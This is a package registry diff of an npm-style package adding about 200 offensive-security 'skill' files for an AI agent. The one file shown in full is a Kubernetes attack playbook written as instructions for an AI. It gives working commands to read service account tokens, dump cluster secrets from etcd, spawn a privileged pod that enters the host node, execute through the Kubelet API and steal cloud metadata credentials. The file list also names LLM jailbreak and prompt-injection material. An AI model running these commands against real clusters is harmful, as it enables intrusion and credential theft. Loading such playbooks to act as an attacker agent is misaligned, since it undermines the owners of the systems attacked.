ineedcodes 1.6.0 → 1.7.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (218) hide show
  1. package/package.json +2 -1
  2. package/skills/401-403-bypass-techniques/SKILL.md +348 -0
  3. package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
  4. package/skills/active-directory-acl-abuse/SKILL.md +295 -0
  5. package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
  6. package/skills/active-directory-certificate-services/SKILL.md +303 -0
  7. package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
  8. package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
  9. package/skills/ai-ml-security/SKILL.md +425 -0
  10. package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
  11. package/skills/android-pentesting-tricks/SKILL.md +369 -0
  12. package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
  13. package/skills/anti-debugging-techniques/SKILL.md +407 -0
  14. package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
  15. package/skills/api-authorization-and-bola/SKILL.md +48 -0
  16. package/skills/api-recon-and-docs/SKILL.md +61 -0
  17. package/skills/api-sec/SKILL.md +49 -0
  18. package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
  19. package/skills/auth-sec/SKILL.md +41 -0
  20. package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
  21. package/skills/bba-ad-attacker/SKILL.md +420 -0
  22. package/skills/bba-api-security/SKILL.md +95 -0
  23. package/skills/bba-attack-planner/SKILL.md +186 -0
  24. package/skills/bba-binary-exploit/SKILL.md +65 -0
  25. package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
  26. package/skills/bba-bug-bounty/SKILL.md +245 -0
  27. package/skills/bba-cicd-redteam/SKILL.md +515 -0
  28. package/skills/bba-cloud-security/SKILL.md +97 -0
  29. package/skills/bba-container-escape/SKILL.md +161 -0
  30. package/skills/bba-credential-tester/SKILL.md +346 -0
  31. package/skills/bba-crypto-analyst/SKILL.md +54 -0
  32. package/skills/bba-ctf-solver/SKILL.md +166 -0
  33. package/skills/bba-detection-engineer/SKILL.md +93 -0
  34. package/skills/bba-engagement-planner/SKILL.md +68 -0
  35. package/skills/bba-exploit-chainer/SKILL.md +280 -0
  36. package/skills/bba-exploit-guide/SKILL.md +96 -0
  37. package/skills/bba-forensics-analyst/SKILL.md +512 -0
  38. package/skills/bba-graphql-hunter/SKILL.md +145 -0
  39. package/skills/bba-hardware-hacker/SKILL.md +57 -0
  40. package/skills/bba-jwt-cracker/SKILL.md +133 -0
  41. package/skills/bba-llm-redteam/SKILL.md +149 -0
  42. package/skills/bba-malware-analyst/SKILL.md +305 -0
  43. package/skills/bba-mobile-pentester/SKILL.md +350 -0
  44. package/skills/bba-osint-collector/SKILL.md +645 -0
  45. package/skills/bba-payload-crafter/SKILL.md +347 -0
  46. package/skills/bba-phishing-operator/SKILL.md +516 -0
  47. package/skills/bba-poc-validator/SKILL.md +249 -0
  48. package/skills/bba-privesc-advisor/SKILL.md +98 -0
  49. package/skills/bba-purple-team/SKILL.md +56 -0
  50. package/skills/bba-recon-advisor/SKILL.md +215 -0
  51. package/skills/bba-red-team-operator/SKILL.md +61 -0
  52. package/skills/bba-report-generator/SKILL.md +145 -0
  53. package/skills/bba-reverse-engineer/SKILL.md +298 -0
  54. package/skills/bba-social-engineer/SKILL.md +341 -0
  55. package/skills/bba-ssrf-hunter/SKILL.md +120 -0
  56. package/skills/bba-stig-analyst/SKILL.md +108 -0
  57. package/skills/bba-subdomain-takeover/SKILL.md +141 -0
  58. package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
  59. package/skills/bba-threat-modeler/SKILL.md +574 -0
  60. package/skills/bba-vuln-scanner/SKILL.md +305 -0
  61. package/skills/bba-web-hunter/SKILL.md +285 -0
  62. package/skills/bba-wireless-pentester/SKILL.md +539 -0
  63. package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
  64. package/skills/binary-protection-bypass/SKILL.md +295 -0
  65. package/skills/browser-exploitation-v8/SKILL.md +334 -0
  66. package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
  67. package/skills/business-logic-vuln/SKILL.md +33 -0
  68. package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
  69. package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
  70. package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
  71. package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
  72. package/skills/classical-cipher-analysis/SKILL.md +663 -0
  73. package/skills/clickjacking/SKILL.md +163 -0
  74. package/skills/cmdi-command-injection/SKILL.md +687 -0
  75. package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
  76. package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
  77. package/skills/container-escape-techniques/SKILL.md +339 -0
  78. package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
  79. package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
  80. package/skills/crlf-injection/SKILL.md +179 -0
  81. package/skills/csp-bypass-advanced/SKILL.md +259 -0
  82. package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
  83. package/skills/csv-formula-injection/SKILL.md +144 -0
  84. package/skills/dangling-markup-injection/SKILL.md +321 -0
  85. package/skills/defi-attack-patterns/SKILL.md +355 -0
  86. package/skills/dependency-confusion/SKILL.md +178 -0
  87. package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
  88. package/skills/deserialization-insecure/SKILL.md +725 -0
  89. package/skills/dns-rebinding-attacks/SKILL.md +337 -0
  90. package/skills/email-header-injection/SKILL.md +349 -0
  91. package/skills/expression-language-injection/SKILL.md +243 -0
  92. package/skills/file-access-vuln/SKILL.md +33 -0
  93. package/skills/format-string-exploitation/SKILL.md +312 -0
  94. package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
  95. package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
  96. package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
  97. package/skills/hack/SKILL.md +162 -0
  98. package/skills/hash-attack-techniques/SKILL.md +491 -0
  99. package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
  100. package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
  101. package/skills/heap-exploitation/SKILL.md +217 -0
  102. package/skills/http-host-header-attacks/SKILL.md +323 -0
  103. package/skills/http-parameter-pollution/SKILL.md +208 -0
  104. package/skills/http2-specific-attacks/SKILL.md +350 -0
  105. package/skills/idor-broken-object-authorization/SKILL.md +336 -0
  106. package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
  107. package/skills/injection-checking/SKILL.md +50 -0
  108. package/skills/insecure-source-code-management/SKILL.md +161 -0
  109. package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
  110. package/skills/ios-pentesting-tricks/SKILL.md +418 -0
  111. package/skills/jndi-injection/SKILL.md +265 -0
  112. package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
  113. package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
  114. package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
  115. package/skills/kernel-exploitation/SKILL.md +307 -0
  116. package/skills/kubernetes-pentesting/SKILL.md +348 -0
  117. package/skills/lattice-crypto-attacks/SKILL.md +497 -0
  118. package/skills/linux-lateral-movement/SKILL.md +348 -0
  119. package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
  120. package/skills/linux-privilege-escalation/SKILL.md +346 -0
  121. package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
  122. package/skills/linux-security-bypass/SKILL.md +345 -0
  123. package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
  124. package/skills/llm-prompt-injection/SKILL.md +357 -0
  125. package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
  126. package/skills/macos-process-injection/SKILL.md +384 -0
  127. package/skills/macos-security-bypass/SKILL.md +337 -0
  128. package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
  129. package/skills/memory-forensics-volatility/SKILL.md +323 -0
  130. package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
  131. package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
  132. package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
  133. package/skills/network-protocol-attacks/SKILL.md +330 -0
  134. package/skills/nosql-injection/SKILL.md +341 -0
  135. package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
  136. package/skills/ntlm-relay-coercion/SKILL.md +267 -0
  137. package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
  138. package/skills/open-redirect/SKILL.md +380 -0
  139. package/skills/path-traversal-lfi/SKILL.md +802 -0
  140. package/skills/prototype-pollution/SKILL.md +190 -0
  141. package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
  142. package/skills/prototype-pollution-advanced/SKILL.md +338 -0
  143. package/skills/race-condition/SKILL.md +526 -0
  144. package/skills/recon-and-methodology/SKILL.md +389 -0
  145. package/skills/recon-for-sec/SKILL.md +29 -0
  146. package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
  147. package/skills/request-smuggling/SKILL.md +314 -0
  148. package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
  149. package/skills/reverse-shell-techniques/SKILL.md +290 -0
  150. package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
  151. package/skills/rsa-attack-techniques/SKILL.md +437 -0
  152. package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
  153. package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
  154. package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
  155. package/skills/sandbox-escape-techniques/SKILL.md +250 -0
  156. package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
  157. package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
  158. package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
  159. package/skills/sqli-sql-injection/SKILL.md +489 -0
  160. package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
  161. package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
  162. package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
  163. package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
  164. package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
  165. package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
  166. package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
  167. package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
  168. package/skills/stack-overflow-and-rop/SKILL.md +304 -0
  169. package/skills/steganography-techniques/SKILL.md +348 -0
  170. package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
  171. package/skills/subdomain-takeover/SKILL.md +247 -0
  172. package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
  173. package/skills/symbolic-execution-tools/SKILL.md +419 -0
  174. package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
  175. package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
  176. package/skills/traffic-analysis-pcap/SKILL.md +341 -0
  177. package/skills/tunneling-and-pivoting/SKILL.md +343 -0
  178. package/skills/type-juggling/SKILL.md +291 -0
  179. package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
  180. package/skills/unauthorized-access-common-services/SKILL.md +388 -0
  181. package/skills/upload-insecure-files/SCENARIOS.md +158 -0
  182. package/skills/upload-insecure-files/SKILL.md +543 -0
  183. package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
  184. package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
  185. package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
  186. package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
  187. package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
  188. package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
  189. package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
  190. package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
  191. package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
  192. package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
  193. package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
  194. package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
  195. package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
  196. package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
  197. package/skills/waf-bypass-techniques/SKILL.md +290 -0
  198. package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
  199. package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
  200. package/skills/web-cache-deception/SKILL.md +222 -0
  201. package/skills/websocket-security/SKILL.md +454 -0
  202. package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
  203. package/skills/windows-av-evasion/SKILL.md +342 -0
  204. package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
  205. package/skills/windows-lateral-movement/SKILL.md +335 -0
  206. package/skills/windows-privilege-escalation/SKILL.md +328 -0
  207. package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
  208. package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
  209. package/skills/xslt-injection/SKILL.md +281 -0
  210. package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
  211. package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
  212. package/skills/xss-cross-site-scripting/SKILL.md +379 -0
  213. package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
  214. package/skills/xxe-xml-external-entity/SKILL.md +554 -0
  215. package/src/agent.js +1 -1
  216. package/src/session.js +47 -11
  217. package/src/skills.js +30 -6
  218. package/src/ui.js +1 -1
@@ -0,0 +1,348 @@
1
+ ---
2
+ name: kubernetes-pentesting
3
+ description: >-
4
+ Kubernetes penetration testing playbook. Use when targeting Kubernetes clusters via API server, RBAC enumeration, service account abuse, etcd access, Kubelet API, pod escape, cloud-specific metadata, admission webhook bypass, and registry secrets.gated: true
5
+ ---
6
+
7
+ # SKILL: Kubernetes Pentesting — Expert Attack Playbook
8
+
9
+ > **AI LOAD INSTRUCTION**: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
10
+
11
+ ## 0. RELATED ROUTING
12
+
13
+ Before going deep, consider loading:
14
+
15
+ - [container-escape-techniques](../container-escape-techniques/SKILL.md) for escaping from a compromised pod to the underlying node
16
+ - [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) once on a node for escalating to root
17
+ - [linux-lateral-movement](../linux-lateral-movement/SKILL.md) for pivoting between nodes
18
+ - [linux-security-bypass](../linux-security-bypass/SKILL.md) when Pod Security Standards or seccomp profiles restrict your actions
19
+ - [ssrf-server-side-request-forgery](../ssrf-server-side-request-forgery/SKILL.md) when exploiting SSRF to reach the K8s API or cloud metadata
20
+
21
+ ---
22
+
23
+ ## 1. K8S API SERVER ACCESS
24
+
25
+ ### 1.1 Anonymous Access Check
26
+
27
+ ```bash
28
+ # Check if anonymous auth is enabled (default: limited in modern clusters)
29
+ curl -sk https://APISERVER:6443/api/v1/namespaces
30
+ curl -sk https://APISERVER:6443/version
31
+ curl -sk https://APISERVER:6443/api
32
+ curl -sk https://APISERVER:6443/apis
33
+
34
+ # Common API server ports:
35
+ # 6443 — secure API (default)
36
+ # 8443 — alternative secure
37
+ # 8080 — insecure API (legacy, no auth needed)
38
+ ```
39
+
40
+ ### 1.2 Token-Based Authentication (from inside pod)
41
+
42
+ ```bash
43
+ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
44
+ CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
45
+ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
46
+ APISERVER="https://kubernetes.default.svc"
47
+
48
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
49
+ $APISERVER/api/v1/namespaces/$NAMESPACE/pods
50
+ ```
51
+
52
+ ### 1.3 Certificate / Kubeconfig Authentication
53
+
54
+ ```bash
55
+ # Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf,
56
+ # /etc/kubernetes/kubelet.conf, /var/lib/kubelet/kubeconfig
57
+ kubectl --kubeconfig=/etc/kubernetes/admin.conf get pods --all-namespaces
58
+ ```
59
+
60
+ ---
61
+
62
+ ## 2. RBAC ENUMERATION
63
+
64
+ ### 2.1 Self-Permission Check
65
+
66
+ ```bash
67
+ # What can I do?
68
+ kubectl auth can-i --list
69
+ kubectl auth can-i --list -n kube-system
70
+
71
+ # Specific checks
72
+ kubectl auth can-i create pods
73
+ kubectl auth can-i create pods -n kube-system
74
+ kubectl auth can-i get secrets
75
+ kubectl auth can-i '*' '*' # Full cluster admin?
76
+
77
+ # Via API (from inside pod):
78
+ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
79
+ $APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
80
+ -H "Content-Type: application/json" \
81
+ -d "{\"apiVersion\":\"authorization.k8s.io/v1\",\"kind\":\"SelfSubjectRulesReview\",\"spec\":{\"namespace\":\"$NAMESPACE\"}}"
82
+ ```
83
+
84
+ ### 2.2 Role and ClusterRole Enumeration
85
+
86
+ ```bash
87
+ kubectl get roles --all-namespaces && kubectl get clusterroles
88
+ kubectl describe clusterrole CLUSTER_ROLE_NAME
89
+
90
+ # Find overprivileged roles (wildcard verbs/resources):
91
+ kubectl get clusterroles -o json | python3 -c 'import sys,json;data=json.load(sys.stdin);[print(f"OVERPRIVILEGED: {r[\"metadata\"][\"name\"]}") for r in data["items"] for rule in r.get("rules",[]) if "*" in rule.get("verbs",[]) or "*" in rule.get("resources",[])]'
92
+ ```
93
+
94
+ ### 2.3 Dangerous RBAC Permissions
95
+
96
+ | Permission | Risk | Escalation Path |
97
+ |---|---|---|
98
+ | `pods/exec` | **Critical** | Exec into any pod (access secrets, tokens) |
99
+ | `pods` (create) | **Critical** | Create privileged pod → node access |
100
+ | `secrets` (get/list) | **Critical** | Read all secrets including SA tokens |
101
+ | `serviceaccounts/token` (create) | **Critical** | Generate token for any SA |
102
+ | `nodes/proxy` | **High** | Proxy to Kubelet API |
103
+ | `escalate` on roles | **Critical** | Grant yourself any permission |
104
+ | `bind` on rolebindings | **Critical** | Bind any role to yourself |
105
+ | `impersonate` | **Critical** | Impersonate any user/SA |
106
+
107
+ ---
108
+
109
+ ## 3. SERVICE ACCOUNT TOKEN ABUSE
110
+
111
+ ### 3.1 Token Location and Decoding
112
+
113
+ ```bash
114
+ # Default mount point
115
+ cat /var/run/secrets/kubernetes.io/serviceaccount/token
116
+
117
+ # Decode JWT (no verification needed)
118
+ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
119
+ echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
120
+ # Shows: namespace, service account name, expiry
121
+ ```
122
+
123
+ ### 3.2 Escalation via Service Account
124
+
125
+ ```bash
126
+ # If SA has elevated permissions — dump secrets, create privileged pod:
127
+ kubectl get secrets --all-namespaces
128
+ kubectl apply -f - << 'EOF'
129
+ apiVersion: v1
130
+ kind: Pod
131
+ metadata: { name: privesc }
132
+ spec:
133
+ hostPID: true
134
+ hostNetwork: true
135
+ containers:
136
+ - name: pwn
137
+ image: alpine
138
+ command: ["/bin/sh","-c","nsenter -t 1 -m -u -i -n -p -- /bin/bash"]
139
+ securityContext: { privileged: true }
140
+ volumeMounts: [{ name: hostfs, mountPath: /host }]
141
+ volumes: [{ name: hostfs, hostPath: { path: / }}]
142
+ EOF
143
+ ```
144
+
145
+ ### 3.3 Token Generation
146
+
147
+ ```bash
148
+ # If serviceaccounts/token create permission:
149
+ kubectl create token admin-sa -n kube-system --duration=87600h
150
+ ```
151
+
152
+ ---
153
+
154
+ ## 4. ETCD DIRECT ACCESS
155
+
156
+ ```bash
157
+ # Check anonymous access (port 2379 on master nodes):
158
+ curl -sk https://ETCD_IP:2379/version
159
+
160
+ # With certs from master node (/etc/kubernetes/pki/etcd/):
161
+ ETCDCTL_API=3 etcdctl --endpoints=https://ETCD_IP:2379 \
162
+ --cacert=ca.crt --cert=server.crt --key=server.key \
163
+ get / --prefix --keys-only | grep secrets
164
+
165
+ # Dump specific secret:
166
+ ETCDCTL_API=3 etcdctl ... get /registry/secrets/default/my-secret
167
+ ```
168
+
169
+ ---
170
+
171
+ ## 5. POD ESCAPE TO NODE
172
+
173
+ ### See [container-escape-techniques](../container-escape-techniques/SKILL.md) for detailed escape chains.
174
+
175
+ Quick reference for K8s-specific vectors:
176
+
177
+ | Vector | Requirement | Command |
178
+ |---|---|---|
179
+ | hostPID | `spec.hostPID: true` | `nsenter -t 1 -m -u -i -n -p -- bash` |
180
+ | hostNetwork | `spec.hostNetwork: true` | Access node services (Kubelet, etcd) |
181
+ | hostPath `/` | Volume mount of host root | `chroot /host bash` |
182
+ | Privileged container | `securityContext.privileged: true` | Mount host disk / nsenter |
183
+
184
+ ---
185
+
186
+ ## 6. KUBELET API (Port 10250/10255)
187
+
188
+ ```bash
189
+ curl -sk https://NODE_IP:10250/pods # Anonymous access check
190
+ # 10255 = read-only (legacy, HTTP)
191
+
192
+ # Exec into pod via Kubelet (bypasses API server RBAC):
193
+ curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id"
194
+
195
+ # Read logs:
196
+ curl -sk https://NODE_IP:10250/containerLogs/NAMESPACE/POD_NAME/CONTAINER_NAME
197
+ ```
198
+
199
+ ---
200
+
201
+ ## 7. CLOUD-SPECIFIC ATTACKS
202
+
203
+ ### 7.1 AWS EKS — IMDS Access
204
+
205
+ ```bash
206
+ # From inside a pod (if IMDSv1 or no hop limit enforced):
207
+ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
208
+ # Returns IAM role name, then:
209
+ curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
210
+ # Returns temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
211
+
212
+ # IMDSv2 (token required):
213
+ IMDS_TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
214
+ -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
215
+ curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
216
+ http://169.254.169.254/latest/meta-data/iam/security-credentials/
217
+
218
+ # EKS-specific: IRSA (IAM Roles for Service Accounts)
219
+ # Token at: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
220
+ # Env vars: AWS_ROLE_ARN, AWS_WEB_IDENTITY_TOKEN_FILE
221
+ ```
222
+
223
+ ### 7.2 GCP GKE — Metadata API
224
+
225
+ ```bash
226
+ # GCE metadata server
227
+ curl -s -H "Metadata-Flavor: Google" \
228
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
229
+ # Returns OAuth2 access token
230
+
231
+ # List available scopes
232
+ curl -s -H "Metadata-Flavor: Google" \
233
+ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes
234
+
235
+ # GKE Workload Identity (if configured):
236
+ # The pod's SA is mapped to a GCP SA
237
+ # Token automatically available for GCP API calls
238
+ ```
239
+
240
+ ### 7.3 Azure AKS — Managed Identity
241
+
242
+ ```bash
243
+ # Azure IMDS
244
+ curl -s -H "Metadata: true" \
245
+ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
246
+ # Returns Azure access token
247
+
248
+ # AKS Pod Identity / Workload Identity
249
+ # Check for AZURE_CLIENT_ID, AZURE_TENANT_ID env vars
250
+ env | grep AZURE
251
+ ```
252
+
253
+ ---
254
+
255
+ ## 8. ADMISSION WEBHOOK BYPASS
256
+
257
+ | Strategy | Command/Method |
258
+ |---|---|
259
+ | Excluded namespace | `kubectl get validatingwebhookconfigurations -o yaml \| grep namespaceSelector` → use excluded NS |
260
+ | failurePolicy: Ignore | If webhook server down → admission skipped |
261
+ | Ephemeral containers | `kubectl debug POD -it --image=alpine` (may not be covered) |
262
+ | Static pods | Place manifest in `/etc/kubernetes/manifests/` on node (bypasses API admission) |
263
+
264
+ ---
265
+
266
+ ## 9. CONTAINER REGISTRY ACCESS
267
+
268
+ ```bash
269
+ # Extract pull secrets (dockerconfigjson):
270
+ kubectl get secrets --all-namespaces -o json | python3 -c 'import sys,json,base64;[print(s["metadata"]["name"],base64.b64decode(s["data"][".dockerconfigjson"]).decode()) for s in json.load(sys.stdin)["items"] if s["type"]=="kubernetes.io/dockerconfigjson"]'
271
+
272
+ # Pull + inspect images for hardcoded secrets:
273
+ docker pull REGISTRY/app:latest && docker history REGISTRY/app:latest --no-trunc
274
+ ```
275
+
276
+ ---
277
+
278
+ ## 10. NETWORK POLICY ENUMERATION & BYPASS
279
+
280
+ ```bash
281
+ kubectl get networkpolicies --all-namespaces
282
+ # Find namespaces without policies (default allow-all):
283
+ for ns in $(kubectl get ns -o name | cut -d/ -f2); do
284
+ [ "$(kubectl get netpol -n $ns --no-headers 2>/dev/null | wc -l)" -eq 0 ] && echo "NO POLICY: $ns"
285
+ done
286
+ ```
287
+
288
+ Bypass strategies: DNS exfiltration (port 53 rarely blocked), allowed port tunneling, pod in unprotected namespace, `hostNetwork: true` bypasses pod network policies entirely.
289
+
290
+ ---
291
+
292
+ ## 11. TOOLS
293
+
294
+ | Tool | Purpose | Command |
295
+ |---|---|---|
296
+ | **kubectl** | K8s API interaction | `kubectl auth can-i --list` |
297
+ | **kube-hunter** | Automated K8s vulnerability scanning | `kube-hunter --remote TARGET` |
298
+ | **peirates** | K8s pentesting from inside a pod | `./peirates` |
299
+ | **kubesploit** | Post-exploitation framework for K8s | Agent-based C2 |
300
+ | **CDK** | Container/K8s exploitation toolkit | `./cdk evaluate` |
301
+ | **kubeletctl** | Interact with Kubelet API directly | `kubeletctl pods -s NODE_IP` |
302
+ | **kubeaudit** | Cluster misconfiguration audit | `kubeaudit all` |
303
+
304
+ ---
305
+
306
+ ## 12. KUBERNETES PENTESTING DECISION TREE
307
+
308
+ ```
309
+ Access to Kubernetes environment?
310
+
311
+ ├── Inside a pod?
312
+ │ ├── Read SA token → check RBAC permissions (§2.1)
313
+ │ │ ├── Can create pods? → privileged pod escape (§3.2)
314
+ │ │ ├── Can read secrets? → dump all secrets (§3.2)
315
+ │ │ ├── Can exec into pods? → pivot to other pods
316
+ │ │ └── Minimal permissions → try Kubelet API (§6)
317
+ │ │
318
+ │ ├── Cloud environment?
319
+ │ │ ├── AWS → check IMDS for IAM creds (§7.1)
320
+ │ │ ├── GCP → check metadata for OAuth token (§7.2)
321
+ │ │ └── Azure → check IMDS for managed identity (§7.3)
322
+ │ │
323
+ │ └── Escape to node? → load container-escape-techniques
324
+
325
+ ├── Access to node?
326
+ │ ├── kubeconfig found? → full cluster access (§1.3)
327
+ │ ├── etcd accessible? → dump all secrets (§4)
328
+ │ ├── Kubelet cert/key? → API server access
329
+ │ └── Static pod manifests? → create privileged static pod (§8)
330
+
331
+ ├── External access only?
332
+ │ ├── API server exposed? → anonymous/token check (§1)
333
+ │ ├── Kubelet 10250 exposed? → direct pod exec (§6)
334
+ │ ├── etcd 2379 exposed? → direct secret dump (§4)
335
+ │ └── Dashboard/UI exposed? → authentication bypass
336
+
337
+ ├── RBAC escalation path?
338
+ │ ├── escalate/bind permissions? → grant cluster-admin (§2.3)
339
+ │ ├── impersonate permission? → act as admin (§2.3)
340
+ │ ├── serviceaccounts/token create? → mint admin token (§3.3)
341
+ │ └── Overprivileged clusterrole? → abuse wildcards (§2.2)
342
+
343
+ └── No direct escalation?
344
+ ├── Enumerate network policies → find unprotected namespaces (§10)
345
+ ├── Check admission webhooks → find bypass (§8)
346
+ ├── Pull registry images → search for secrets (§9)
347
+ └── Scan nodes for exposed services → Kubelet, etcd
348
+ ```